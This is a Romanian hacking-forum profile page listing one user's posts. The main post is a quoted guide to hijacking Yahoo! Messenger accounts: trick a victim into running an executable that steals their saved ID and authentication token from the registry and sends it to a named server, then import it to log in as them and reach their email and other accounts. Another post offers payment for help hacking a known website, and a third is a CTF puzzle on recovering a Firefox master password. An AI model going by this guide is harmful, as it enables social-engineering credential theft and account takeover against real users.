Jump to content

zaiet-pagadi

Active Members
 View Profile  See their activity

  • Posts

    80

  • Joined

  • Last visited

 Content Type 

Posts posted by zaiet-pagadi

  4. ETS Hijacker

    in Exploituri

    Posted

    Aceasta este, probabil, ce mai simpla metoda de a sparge un cont de messenger. Da-le dra**** de keyloggere... bindere... ftp-uri.. toate ca sa furi o parola...

    Atunci cand te loghezi pe Yahoo! Messenger, ai optiunea de a salva id-ul si parola, pentru logari ulterioare. ID-ul se salveaza in registri, si se mai salveaza un cod, ETS, in care se memoreaza token-ul de autentificare. Din token nu se poate extrage parola.

    Ce inseamna asta? Daca extragi cele 2 informatii din registri, iar apoi le "plantezi" pe alt calculator, ai sa ai surpriza ca te poti loga cu id-ul si parola salvata, deci pe contul altcuiva, fara sa ii afli neaparat si parola.

    Simplu, nu?

    Am facut cu C++ un exe de dimensiuni mici, pe care il gasiti arhivat aici. Cand este lansat in executie, el extrage id-ul si ETS-ul, si le trimite pe un server. Cateva explicatii pe engleza, mai gasiti aici.

    Dati exe-ul la cineva, si il convingeti sa il deschida. Programul va afisa un mesaj fals de eroare. Intrati pe http://it.octopis.com/ets.php, scrieti id-ul, si vedeti daca operatia a avut succes. Daca da, se va afisa id-ul si codul ETS. Click pe id, ca sa descarcati un fisier .REG, pe care il executati. Deschideti messenger-ul si surpriza!! Te-ai logat pe acel id! Ai acces la tot contul de Yahoo! + ca din moment ce ai acces la contul de e-mail, poti sa ii spargi conturile de pe hi5 / netlog / tagged (+ inca alte porcarii de saituri)...

    SPOR LA FURAT!

    Programul e mic si este bazat pe un principiu foarte simplu, iar sursa o tin sub cheie, pentru cei curiosi.

    Saitul it.octopis.com e saitul meu, asa ca nu strica sa azvarliti o privire. Am pus 3-4 programele si mi-e o lene... sa mai adaug cateva.

    frumos explicat cum de te-a lasat sa postezi asa ceva ????

    asta se invata la grupa mica

    Da-le dra**** de keyloggere... bindere... ftp-uri.. toate ca sa furi o parola...

    give me warn pls

  6. Felicitari

    in Off-topic

    Posted · Edited by zaiet-pagadi

    E facut in flash ? Daca da ... e pur, adica numai flash sau mai are si altceva ?

    doamne fereste... :confused:

    mai are mai are ...are un BAN mare !

    Inchide-ti o data topicu asta

    _______________________________

    Raspuns pt. vecinu de mai jos >>>

    Merge perfect pe Mozilla Firefox 3.X

  9. Ofer 500 ron ...

    in Off-topic

    Posted · Edited by zaiet-pagadi

    Ofer 500 ron cuiva care ma ajuta la "hack-uirea" unui site (un site cunoscut) . Necesita cunostinte javascript si php .Cine e interesat ..sa lase mesaj cu id-ul sau numarul de telefon .

    Stiu ca aici nu e anunt de la a la z ,scuze daca deranjeaza pe cineva subiectul :D

    despre ce este vorba?

  20. Ce linux imi recomandati?

    in Off-topic

    Posted · Edited by zaiet-pagadi

    Mandriva sau Suse daca esti prea tare familiarizat cu xp

    Ubuntu backtrack, DSL, Knoppix etc sunt bazate pe comenzi gen DOS XShell...

    Fedora este profesional nu se merita sa-l instalezi ca sistem de operare daca esti novice in unix

    Pt inceput iti recomand Mandriva Spring Edition 2007-2008

  25. Gaseste parola :)

    in Challenges (CTF)

    Posted · Edited by zaiet-pagadi

    Avem 2 fisiere unul cu parola [with.db] si unul fara [fara.db]

    (se poate vedea si daca le compari continutul in totalcommander>compare by content)

    1.gasiti secventa parolei (HEX sau ce mai folositi voi...)

    2.recuperati parola

    Indiciu:

    Parola este generata de Mozilla Firefox 3.x Master Password

    fisierele sunt key3.db originale redenumite

    Sfat nu incercati passcape dureaza 6 zile recovery-ul....

    http://rapidshare.com/files/197585531/comp.zip.html

    Daca gasiti parola postati numai primele 3 caractere.

    Scrieti si secventa daca o gasiti....

×
×
  • Create New...